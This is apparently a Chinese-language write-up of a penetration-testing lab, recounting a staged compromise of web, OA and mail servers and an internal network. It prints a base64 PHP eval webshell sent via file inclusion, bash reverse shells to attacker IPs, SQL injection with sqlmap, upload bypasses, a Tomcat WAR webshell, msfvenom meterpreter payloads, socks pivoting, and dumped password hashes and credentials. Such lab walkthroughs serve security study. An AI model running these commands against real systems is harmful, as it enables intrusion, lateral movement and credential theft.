超长文慎点。靶场说大不大,就是搞了三天,一是网速,二是网速,三是网速的原因,还有就是经验的原因。至今未完,70分。

WEB服务
当前攻击机Kali,在192.168.11.0/24网段,有一台192.168.11.4的网站服务器。

浏览中,发现地址栏明显的标志 http://http://192.168.11.3/index.php?page=about.php,文件包含无疑。

遂,攻击机制作一句话木马;其实还可以地址栏直接输入:
http://192.168.11.3/index.php?page=data:text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbYV0pOyAgPz4=

成功验证,getwebshell。

得到flag1

先反弹靶机的shell,蚁剑-虚拟终端输入:
bash -i >& /dev/tcp/192.168.11.2/8000 0>&1
攻击机接收shell:
nc -lvvp 8000

提权,遇坑(模拟终端的shell是一次性的,Exp提权请先反弹shell)。没事,接着,上传文件到有读写执行权限的位置,/var/www/html/upload 、/tmp 等。

根据 phpinfo() 或 uname -a 获知linux内核版本,上传对应可用 Exp 提权。

获得flag2

后续渗透,查看主机的网卡,多网卡就是边界机/跳板。

OA服务
向新发现网段 172.16.12.0/24,继续进发,此时搭建一个代理再去做网段扫描。
先配置Socks代理到攻击机,此处可以使用 reGeorgSocksProxy配套工具
-
上传tunnel.php脚本到靶机
192.167.11.3网站目录上 -
攻击机开启Sock5代理,绑定到1080端口
python reGeorgSocksProxy.py -u http://192.168.11.3/upload/tunnel.php -p 1080
但这里是使用了EarthWorm做Socks5
./ew -s ssocked -l 1080
接着,配置proxychains,添加记录 socks5 192.168.11.3 1080
对 172.16.12.0/24 网段扫描,注意,Socks协议在会话层,ICMP协议在网络层,所以nmap配置不要ping扫描存活主机,这里使用TCP扫描。
nmap -sT -Pn -n 172.16.12.0/24
发现 172.16.12.103 、 172.16.12.104 主机,一个是OA系统,一个是邮箱系统。先对OA系统进行渗透。
F12 观察数据包,发现 message.php?id=1 有可疑

单引号、逻辑判断等常规测试后,确认是数字型UNION注入

使用sqlmap,dump所有的表。获得flag3
还有一个admin账户密码,md5解密,竟然要收费,灵机一动,直接google这个md5。
ok,有博客分享出来了,MD5 =>29acd667cdbee1116d365727ca6821d3,明文=>37s984pass,没看出特殊含义,能解出来就好吧。

有管理员表,多数有后台页面,是的,就在admin目录。
登录进去,发现有上传点,尝试直接上传一句话。

成功上传,Webshell get it.

连接蚁剑,记得先添加代理。

得到flag4

然后查看网页配置文件,发现数据库账号密码(其实已经没有大作用,先前已经扫荡过了),主要是发现一个邮箱账号密码,与后续的邮件网站有关。

邮件服务
顺利利用邮箱账户=> zhangming@test.com 密码=> fgpass2814登录。
花了不少时间发现的漏洞,Cookie的id值与个人信息挂钩。

Burpsuit Repeat,确认注入。

Sqlmap进一步利用

同理,找到admin表 MD5=>22f2e5ec0bf4b85554c755993e2ba67f ,明文=>2_333admin,疑惑的是,没看到有flag。
接着找管理后台路径,例如 admin/Admin/User/System/Manage等,ok,找到的是manage目录。
这里同样,有文件上传功能。

一开始,发现有图片内容检测,合成图片马。
cat a.png a.php > shell.php
php后缀上传不了有点懵(php后缀名没绕过,但却以为是白名单过滤,截断、小数点结尾都尝试了)。等反应过来,上传随意后缀成功了才发现,其实是黑名单机制,遂使用php5绕过。

小结:确定好文件上传测试流程!
Webshell get it.

问题:邮箱是关键,关键flag5在哪??
连接蚁剑,在网站目录找到flag6
数据库账户 MyDB(“127.0.0.1”,“mail”,“mail123456”,“my_mail”);
接着提权,本来打算上传Ubuntu3.16有效的Exp到 upload目录执行,但是提示 no such file or directory,搜索一下问题,大概就是Exp的架构跟Linux架构位数不一样或者其他问题。
偶然间,浏览的/var目录,发现tomcat,这听闻是高权限应用!头次遇上了!

查看netstat,感觉Web服务部署在8080端口

之后马上学习tomcat的目录结构。主要用到这两个目录:conf(Tomcat配置文件)、 webapps(Tomcat的主要Web发布目录,存放JSP,SERVLET,类)。
看到 webapps/manager 目录,尝试访问,需要登录认证,但有提示,账户密码可以在conf/web-user.xml查看。

这应该是默认配置:tomcat/tomcat。

成功登录,进入后台。
可以看到该网站下发布的应用。看到上传应用接口,制作一句话的war包

后来用了Cknife的1.jsp又打包了一个shell.war。上传成功后,得到一句话的地址

连接Cknife,因为我的刀版本低,不支持代理,所以 JVM运行时配置Socks代理,选项会默认端口1080
java -DsocksProxyHost=192.168.11.3 -jar Cknife.jar
cat /root/flag 得到 flag7

现在就可以反弹出一个root权限的shell,反弹到WEB服务器172.16.12.102。ubuntu低版本sh对bash有点兼容问题,搜了一下,将bash反弹语句作了改进。
bash -c 'bash -i 1>&/dev/tcp/172.16.12.102/8104 0>&1'
还发现了新网段 10.15.0.0/24

代理必须的!
于是我开始了一系列坚强不屈的操作,硬是含泪地把mail服务器Socks代理了出来。

但是,
后知后觉
在多次因误操作断开了反弹shell后,忽然醒觉,为什么不早点用MSF??补救……
制作反弹木马,上传到WEB服务器,在之前的反弹shell里执行(希望最后一次用反弹的shell),kali获得反弹的meterpreter
msfvenom -l payload |grep meterpreter |grep linux|grep x64
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.11.2 lport=7000 -f elf -o r7000

msf 设置payload,等待连接
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.11.2
set lport 7000
exploit -z -j

成功后,进入web服务器的meterpreter,添加路由
run autoroute -s 172.16.12.0/24
run autoroute -p
添加了路由,就可据WEB服务器的路由规则访问mail服务器。
再对mail服务器制作bind_tcp(因为现在可以主动连接它啊!这个觉悟又是半天,之前先入为主固化了思维,只想着反弹)木马
msfvenom -p linux/x64/meterpreter/bind_tcp lport=7000 -f elf -o b7000
Cknife上传,执行b7000,即在mail服务器上开启监听。
msf 主动连接
set payload linux/x64/meterpreter/bind_tcp
set rhost 172.16.12.104
set rport 7000
exploit -z -j

成功收到meterpreter session,再进入session 添加 10.15.0.0/24 的路由
run autoroute -s 10.15.0.0/24
run autoroute -p

坐拥两个路由,暂时在MSF内对内网下畅行无阻。但我想kali其它应用也可以用上,于是添加socks4代理,默认绑定在本地 0.0.0.0:1080
use auxiliary/server/socks4a
run

配置好proxychains,添加 socks4 127.0.0.1 1080 。这时,该对新网段做一次存活主机扫描了
proxychains nmap -sT -sV -Pn -O -n 10.15.0.0/24
30min后……
我Ctrl+C了,因为它告诉我,完成了5%
我只好根据mail主机上的arp记录,先确定了10.15.0.1、10.15.0.3 两台主机
卡死。后会有期。
继续渗透
大家好,我已经没什么心机了。但却也更轻车熟路地,重复还原到这一步,再Fuzz。
flag8
发现10.15.0.4的远程桌面登录,使用admin\2_333admin登录成功。
提权,查看管理员桌面,获得flag9
flag9
获得10.15.0.4的meterpreter,hashdump,有一管理员Hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fbe6ba371645ed310bc9fac913c75cd6::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
未完待续。
补充小结
kill & ps & netstat -anotp
为什么学会了kill,因为反弹shell、ew等等进程反复开开关关太多次了
- 法子1:通过jobs命令查看job号(假设为num),然后执行kill %num
- 法子2:通过ps命令查看job的进程号(PID,假设为pid),然后执行kill pid
ping次数
ping -c 4 192.168.16.6
x86_64 ?
蘋果公司和RPM套件管理員以「x86-64」或「x86_64」稱呼此64位架構。 甲骨文公司及Microsoft稱之為「x64」。 BSD家族及其他Linux發行版則使用「amd64」,32位元版本則稱為「i386」(或i486/586/686),Arch Linux用x86_64稱呼此64位元架構。
nmap & proxychains
nmap扫描前,默认先ping扫描确认存活主机,而socks代理不支持icmp协议代理的,所以 -Pn 停用ping扫描,-n 表示直接使用IP地址,不进行DNS查询,-sV 查询软件版本 -O 查询系统型号,nmap使用指南
proxychains nmap -sT -sV -Pn -n 10.15.0.0/24
nc
在没会用这个之前,研究起了Linux必备的nc,逐个逐个IP去扫
nc -znv x.x.x.x 1-1024 2>&1 | grep succeeded
-v 选项产生的输出位于【stderr】,所以 2>&1 把【stderr】合并到【stdout】
其实我也没这么有耐心,写了个for循环脚本。其实也没什么用。
#!/bin/bash
for i in {1..255}
do
nc -znv 10.15.0.$i 1-1000 2>&1|grep succ
done
msfdb
开启msfconsole后,用到 db_nmap,需要数据库支持,但并不想退出msfconsole
不知道msf 默认数据库账号,就直接新建数据库用户和数据库并连接
root@kali:~# su postgres
postgres@kali:/root$ createuser msf4 -P
为新角色输入的口令:
再输入一遍:
postgres@kali:/root$ createdb --owner=msf4 msf4
postgres@kali:/root$ exitsh
msf > db_connect msf4:pass@127.0.0.1/msf4
msf > db_status
参考阅读